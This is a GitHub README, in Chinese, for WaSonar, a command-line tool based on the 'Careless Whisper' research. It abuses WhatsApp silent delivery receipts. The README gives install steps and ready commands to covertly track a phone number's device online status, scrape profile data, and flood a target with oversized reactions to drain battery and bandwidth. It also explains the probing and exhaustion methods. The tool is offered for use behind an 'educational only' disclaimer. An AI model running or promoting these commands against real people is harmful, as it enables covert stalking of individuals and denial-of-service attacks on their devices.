AjayAntoIsDev/WaSonar

GitHub: AjayAntoIsDev/WaSonar

一款基于 WhatsApp 协议的安全研究 CLI 工具,专注于设备追踪、静默探测与协议压力测试。

Stars: 47 | Forks: 5

WaSonar Logo screenshot ![License](https://img.shields.io/badge/license-MIT-blue.svg) ![Version](https://img.shields.io/badge/version-1.0.0-green.svg) ![Node.js](https://img.shields.io/badge/node.js-%3E%3D14.0.0-orange.svg) **WaSonar** 是一个用于教育研究、设备追踪和 WhatsApp 协议压力测试的强大 CLI 工具。基于 [Baileys](https://github.com/WhiskeySockets/Baileys)。 [功能](#features) • [安装](#installation) • [用法](#usage)
## 功能 - **实时设备追踪**:检测所有关联设备(手机、网页、桌面)的在线/离线状态。 - **设备发现**:列出与目标号码关联的所有设备(主手机 + 伴生设备)。 - **资料提取**:获取头像、状态/简介信息和 JID。 - **资源耗尽**:通过超大的反应载荷使设备过载(激进/慢速模式)。 ## 安装 ### 通过 NPM(推荐) ``` npm install -g wasonar-cli ``` ### 通过 NPX(无需安装) ``` npx wasonar-cli ``` ### 从源码安装 ``` git clone https://github.com/AjayAntoIsDev/wasonar.git cd wasonar npm install ``` ## 用法 ### 1. 登录 首先,你需要使用 WhatsApp 账户进行身份验证。 ``` wasonar-cli login ``` 扫描终端中出现的二维码。 ### 2. 设备发现 列出与目标号码连接的所有设备。 ``` wasonar-cli devices # Example: wasonar-cli devices 919876543210 ``` ### 3. 在线状态与 RTT 这是核心功能。发送静默探测以检测设备是否在线并测量延迟。 ``` # Probe infinite times (default) wasonar-cli online 919876543210 # Send specific number of probes wasonar-cli online 919876543210 --probes 5 # Save results to file wasonar-cli online 919876543210 --output ./logs ``` *注意:PENDING/OFFLINE 表示服务器已收到消息,但目标设备未确认接收。* ### 4. 资料提取 获取用户的头像和状态。 ``` # Display info and download profile picture wasonar-cli profile 919876543210 --output ./profiles ``` ### 5. 资源耗尽 **⚠️ 仅限教育用途。** 发送高频率的超大载荷。 ``` # Aggressive mode (Default: 250 req/s, 1KB payload) wasonar-cli exhaust 919876543210 # Slow mode (10 req/s, 500B payload) wasonar-cli exhaust 919876543210 --aggression slow # Set duration wasonar-cli exhaust 919876543210 --duration 30 ``` ## 方法论 ### 静默探测 WaSonar 使用“静默删除探测”来在不提醒目标的情况下检测在线状态。 1. 发送一个针对不存在消息 ID 的 `revoked`(删除)消息。 2. 目标设备接收此“删除”请求。 3. 如果在线,设备会为协议消息发送 `delivery_receipt`(状态 3)。 4. WaSonar 捕获该回执以确认在线状态并计算 RTT。 ### 耗尽攻击 基于“Careless Whisper”研究,此攻击利用了 WhatsApp 反应处理中的验证间隙。 #### 技术细节 尽管无效的反应不会在目标手机上显示,但它们仍会被接收和处理。 - **载荷限制**:WhatsApp 服务器允许反应载荷最大为 **1 MB**。 - **处理**:客户端会尝试在丢弃前处理这些消息(有效显示限制约为 30 字节),从而消耗资源。 #### 影响分析 研究数据显示资源耗尽的显著潜力: - **流量膨胀**:单个会话可生成 **~3.7 MB/s**(每小时 13.3 GB)的隐蔽流量。 - **电池耗尽**:快速处理这些消息可使现代智能手机每小时耗电 **14-18%**(在待机状态下测试于 iPhone 13 Pro、S23)。 - **拒绝服务**:带宽消耗可能导致目标设备上的其他应用程序断网。 ## 引用 基于 Gegenhuber 等人的研究(维也纳大学与 SBA 研究): ``` @inproceedings{gegenhuber2024careless, title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers}, author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna}, year={2024}, organization={University of Vienna, SBA Research} } ``` 由 [AjayAnto](https://github.com/AjayAntoIsDev) 创建
标签:ASM汇编, Baileys, GNU通用公共许可证, MITM代理, Node.js, RTT测量, Web设备探测, WhatsApp, 二进制发布, 关键词SEO, 协议测试, 压力测试, 反应载荷, 在线状态探测, 开源工具, 情报收集, 文档结构分析, 漏洞研究, 自定义脚本, 设备追踪, 资源耗尽, 过度消息发送